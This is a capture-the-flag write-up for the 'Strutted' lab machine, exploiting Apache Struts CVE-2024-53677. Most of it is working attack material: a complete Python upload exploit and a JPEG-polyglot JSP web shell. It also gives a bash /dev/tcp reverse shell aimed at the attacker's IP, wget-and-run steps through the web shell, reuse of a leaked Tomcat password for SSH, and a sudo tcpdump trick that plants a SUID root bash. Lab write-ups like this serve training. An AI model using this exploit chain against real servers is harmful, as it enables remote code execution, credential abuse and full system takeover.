Strutted
(Linux , Medium)

OVERVIEW

So we are given IP Address let’s start the enumeration using NMAP
ENUMERATION

Let’s analyze these ports specifically Port 80 and don’t forget to add strutted.htb into /etc/hosts

Here we can see there is an upload functionality but only JPG,JPEG,PNG,GIF formats are allowed and when we try to upload any other format it shows

Let’s see what happens when we upload a image file

We can see that it is saved in the directory _/_/file.png in which the middle id is temporary which can’t be guessed so can’t access other files rather then the one we uploads
In the main page the right side has a Download button which allows us to download a zip file so let’s download and unzip that zip file

We came to know that it is using Apache + Tomcat which means .jsp file are used and you will get a password for an admin user in tomcat-users.xml file which could be useful in future.
Let’s enumerate more in the /strutted directory
In /strutted directory there is a file named as pom.xml where we can see the struts version which is 6.3.0.1

In /strutted/src/main/java/org/strutted/htb/Upload.java file we can see:

The Upload functionality is checking whether the input is among these in short its checking each file headers/magic bytes that’s why we are not able to upload other files
It also checks for the File content type to be Image and blocks other content type. (Can Confirm By Capturing Request In Burpsuite)
So As we now know the struts version 6.3.0.1
Either found the CVE related to it and you will get the CVE-2024-53677
Or Either while enumerating through the directories you will end up in /strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst file

So while finding exploits for this CVE you will end up on this GitHub repo REPO_LINK
But before exploiting the vulnerability let’s see what is it about, and to know in detail come to this LINK
ABOUT THE VULNERABILITY (CVE-2024-53677) (BRIEF)
top.UploadFileName during a file upload request, we can bypass path restrictions and rename our uploaded file after it passes security validation, enabling us to upload a malicious JSP file that achieves Remote Code Execution."ATTACK PATH / EXPLOITATION
Vulnerability: CVE-2024-53677 - Apache Struts 2 File Upload OGNL Injection
Apache Struts 2's FileUploadInterceptor contains a critical flaw where attackers can inject OGNL expressions through HTTP parameter names to manipulate file upload properties. The vulnerability exists because:
Security validation happens first - The application checks if uploaded files are valid images (magic bytes + Content-Type)
Parameter binding happens after - Struts then processes HTTP parameters and binds them to the Action object using OGNL
The exploit - By sending a parameter named
top.UploadFileNamewith value../../shell.jsp, we modify the filename property on the Value Stack AFTER validationPath traversal - The
../../allows us to escape the timestamp-based upload directory and place our file in the web root because its easy to accessPolyglot file - We embed JSP code inside a valid JPEG file (with magic bytes), which passes image validation but executes as JSP when accessed
Now let’s use the GitHub repo to Exploit This Vulnerability But The Scripts are missing some things
The
.jspscript will not work because the server validates uploaded files by checking the first 8 bytes (magic bytes) to ensure they're actual images - it looks forFF D8 FF(JPEG),89 50 4E 47(PNG), or47 49 46 38(GIF) which is not present in the script.The file started with
<%@(test.txt), which failed this validation and got rejected before the OGNL parameter injection (top.UploadFileName) could even execute.Additionally, the Python script was sending
Content-Type: text/plaininstead ofimage/jpeg, causing a double failure.By prepending JPEG magic bytes (
\xff\xd8\xff\xe0) to the beginning of the JSP file and changing the Content-Type toimage/jpeg, the file now passes all image validation checks, gets uploaded successfully, then the parameter injection renames it to.jsp, and when accessed, Tomcat's JSP engine ignores the image bytes at the start and executes the JSP code embedded after them.
So Replace your CVE-2024-53677.py with
import requests
import time
import sys
import argparse
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
# 배너 출력
banner = r"""..-+*******-
.=#+-------=@. .:==:.
.**-------=*+: .-=++.-+=:.
+*-------=#=+++++++++=:.. -+:==**=+-+:.
.%----=+**+=-:::::::::-=+**+:. ==:=*=-==+=..
:%--**+-::::::::::::::::::::+*=: .::*=**=:.
..-++++*@#+-:::::::::::::::::::::::::-*+. ..-+:.
..+*+---=#+::::::::::::::::::::::::::::::=*:..-==-.
.-#=---**:::::::::::::::::::::::::=+++-:::-#:.. :=+++++++==. ..-======-. ..:---:..
..=**#=::::::::::::::::::::::::::::::::::::%:. *@@@@@@@@@@@@:.-#@@@@@@@@@%*:.-*%@@@@@@@%#=.
.=#%=::::::::::::::::::::::::::::::::-::::-#. %@@@@@@@@@@@@+:%@@@@@@@@@@@%==%@@@@@@@@@@@%-
.*+*+:::::::::::-=-::::::::::::::::-*#*=::::#: ..*#*+:. =++++***%@@@@+-@@@#====%@@@%==@@@#++++%@@@%-
.+#*-::::::::::+*-::::::::::::::::::+=::::::-#..#+=+*%-. :=====+#@@@@-=@@@+. .%@@@%=+@@@+. .#@@@%-
.+*::::::::::::::::::::::::+*******=::::::--@.+@#+==#-. #@@@@@@@@@@@@.=@@@%*++*%@@@%=+@@@#====@@@@%-
.=+:::::::::::::=*+::::::-**=-----=#-::::::-@%+=+*%#:. .@@@@@@@@@@@%=.:%@@@@@@@@@@@#-=%@@@@@@@@@@@#-
.=*::::::::::::-+**=::::-#+--------+#:::-::#@%*==+*- .@@@@#=----:. .-+*#%%%%@@@@#-:+#%@@@@@@@@@#-
.-*::::::::::::::::::::=#=---------=#:::::-%+=*#%#-. .@@@@%######*+. .-%@@@#: .....:+@@@@*:
:+=:::::::::::-:-::::-%=----------=#:::--%++++=** %@@@@@@@@@@@@. =%@@@#. =@@@@*.
.-*-:::::::::::::::::**---------=+#=:::-#**#*+#*. -#%@@@@@@@@@#. -%@@%*. =@@@@+.
.::-==##**-:::-::::::::::%=-----=+***=::::=##+#=.:: ..::----:::. .-=--. .=+=-.
%+==--:::=*::::::::::::-:+#**+=**=::::::-#%=:-%.
*+.......+*::::::::::::::::-****-:::::=*=:.++:*=
.%:..::::*@@*-::::::::::::::-+=:::-+#%-. .#*#.
++:.....#--#%**=-:::::::::::-+**+=:@#....-+*=.
:#:....:#-::%..-*%#++++++%@@@%*+-.#-=#+++-..
.++....-#:::%. .-*+-..*=.+@= .=+..-#
.:+++#@#-:-#= ... .-++:-%@@= .:#
:+++**##@#+=. -%@@@%- .-=*#.
.=+::+::-@: #@@@@+. :+*=::=*-
.=+:-**+%%+=-:.. =*#*-..=*-:::::=*
:++---::--=*#+*+++++**+*+**-::::::+=
.+*=:::---+*:::::++++++*+=:::::-*=.
.:=**+====#*::::::=%:...-=++++=. Author: EQST(Experts, Qualified Security Team)
..:----=**++++*+. Github: https://github.com/EQSTLab/CVE-2024-53677
============================================================================================================
CVE-2024-53677 : Apache Struts2 File Upload vulnerabilities
File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. This issue affects Apache Struts: from 2.0.0 before 6.4.0. Users are recommended to upgrade to version 6.4.0 at least and migrate to the new file upload mechanism https://struts.apache.org/core-developers/file-upload . If you are not using an old file upload logic based on FileuploadInterceptor your application is safe. You can find more details in https://cwiki.apache.org/confluence/display/WW/S2-067
=============================================================================================================
"""
# 하드코딩된 JSP 파일 내용 (JPEG 헤더 포함)
HARDCODED_FILE_CONTENT = """<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
String action = request.getParameter("action");
String output = "";
try {
if ("cmd".equals(action)) {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\\n";
}
reader.close();
}
} else {
output = "Unknown action.";
}
} catch (Exception e) {
output = "Error: " + e.getMessage();
}
response.setContentType("text/plain");
out.print(output);
%>
"""
class StrutsExploit:
def __init__(self, url: str, path: str, file_content: str = None):
self.url = url
self.path = path
self.file_content = file_content if file_content else HARDCODED_FILE_CONTENT
def greeting(self) -> None:
print(banner)
# 스피너 애니메이션
@staticmethod
def spinner(duration=10, interval=0.1) -> None:
spinner_chars = ['|', '/', '-', '\\']
end_time = time.time() + duration
while time.time() < end_time:
for char in spinner_chars:
sys.stdout.write(f'\r[{char}] Loading, please wait...')
sys.stdout.flush()
time.sleep(interval)
print("")
# 파일 업로드 함수 (FIXED!)
def exploit(self) -> None:
# Add JPEG magic bytes to the beginning
jpeg_header = b'\xff\xd8\xff\xe0'
# Convert file content to bytes and prepend JPEG header
if isinstance(self.file_content, str):
full_content = jpeg_header + self.file_content.encode('utf-8')
else:
full_content = jpeg_header + self.file_content
files = {
'Upload': ("exploit_file.jpg", full_content, 'image/jpeg'), # Changed to .jpg and image/jpeg
'top.UploadFileName': (None, self.path),
}
try:
response = requests.post(self.url, files=files, verify=False)
print("Status Code:", response.status_code)
print("Response Text:", response.text[:500]) # Limit output
if response.status_code == 200:
print("\n[+] File uploaded successfully!")
print(f"[+] Try accessing: {self.url.replace('/upload.action', '')}/{self.path.replace('../../', '')}")
else:
print("\n[-] Failed to upload file.")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
def main(args):
# 파일 내용 읽기
file_content = None
if args.file:
try:
with open(args.file, 'rb') as f: # Changed to 'rb' for binary read
file_content = f.read()
# Check if file already has JPEG header
if file_content[:4] == b'\xff\xd8\xff\xe0':
print("[*] File already contains JPEG header, using as-is")
else:
print("[!] Warning: File doesn't have JPEG magic bytes!")
print("[*] Adding JPEG header automatically...")
except FileNotFoundError:
print(f"Error: File '{args.file}' not found.")
exit(1)
# 실행
exploit = StrutsExploit(args.url, args.path, file_content)
exploit.greeting()
StrutsExploit.spinner(duration=2)
exploit.exploit()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2024-53677 - Apache Struts File Upload Exploit")
parser.add_argument("-u", "--url", required=True, help="The URL to send the POST request to (e.g., http://target.com/upload.action)")
parser.add_argument("-p", "--path", required=True, help="The top.UploadFileName value (e.g., ../../shell.jsp)")
parser.add_argument("-f", "--file", help="The local file to upload (will automatically add JPEG header if missing)")
args = parser.parse_args()
main(args)
And create a new file with name shell.jsp and enter the below code into it
ÿØÿà<%@ page import="java.io.*, java.util.*" %>
<%
String action = request.getParameter("action");
String output = "";
try {
if ("cmd".equals(action)) {
// Execute system commands
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\n";
}
reader.close();
}
} else if ("upload".equals(action)) {
// File upload
String filePath = request.getParameter("path");
String fileContent = request.getParameter("content");
if (filePath != null && fileContent != null) {
File file = new File(filePath);
try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
writer.write(fileContent);
}
output = "File uploaded to: " + filePath;
} else {
output = "Invalid file upload parameters.";
}
} else if ("list".equals(action)) {
// List directory contents
String dirPath = request.getParameter("path");
if (dirPath != null) {
File dir = new File(dirPath);
if (dir.isDirectory()) {
File[] files = dir.listFiles();
if (files != null) {
for (File file : files) {
output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
}
}
} else {
output = "Path is not a directory.";
}
} else {
output = "No directory path provided.";
}
} else if ("delete".equals(action)) {
// Delete files
String filePath = request.getParameter("path");
if (filePath != null) {
File file = new File(filePath);
if (file.delete()) {
output = "File deleted: " + filePath;
} else {
output = "Failed to delete file: " + filePath;
}
} else {
output = "No file path provided.";
}
} else {
// Unknown operation
output = "Unknown action. Available actions: cmd, upload, list, delete";
}
} catch (Exception e) {
output = "Error: " + e.getMessage();
}
// Return the result
response.setContentType("text/plain");
out.print(output);
%>
Now Run the Exploit
python3 CVE-2024-53677.py -u http://strutted.htb/upload.action -p ../../shell.jsp -f shell.jsp

It shows that shell.jsp is successfully uploaded now let’s see if we get a successful RCE or not
Head to
http://strutted.htb/shell.jsp?action=cmd&cmd=id

Here we go !! We got the Remote Code Execution Now let’s get the foothold by taking reverse shell
Since we can upload the file in server using RCE we will upload a reverse shell payload file into the server and then get the reverse shell as normal payload through URL is not seem to work.
So In your local machine :
echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/YOUR-IP/9002 0>&1"' > rev.sh
python3 -m http.server 80
In another terminal open netcat listener
nc -lvnp 9002
Now go to the webpage where you had your RCE
http://strutted.htb/shell.jsp?action=cmd&cmd=wget+YOUR-IP/rev.sh+-O+/tmp/rev.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/rev.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/rev.sh

You will get the reverse shell as tomcat but we can’t access /home/james directory so remember you got tomcat admin password at the start which u can also see here in /var/lib/tomcat9/conf/tomcat-users.xml
USER FLAG
Now let’s try ssh login for user james with that password

We got in and you can grab the user flag from the /home/james directory
PRIVILEGE ESCALATION / ROOT FLAG
Now let’s enumerate for privilege escalation and for that when you will do sudo -l you will see

Let’s head to GTFO bin to find the way to escalate privilege using tcpdump
COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
ls -la /tmp/bash_root
/tmp/bash_root -p

We got the root access and now you can grab the root flag
WE FINALLY DID IT !!!! CHALLENGE SOLVED !!

For Any Query Or Problem Either Leave A Comment Or Contact At reapsec.com
THANKS FOR READING !!!



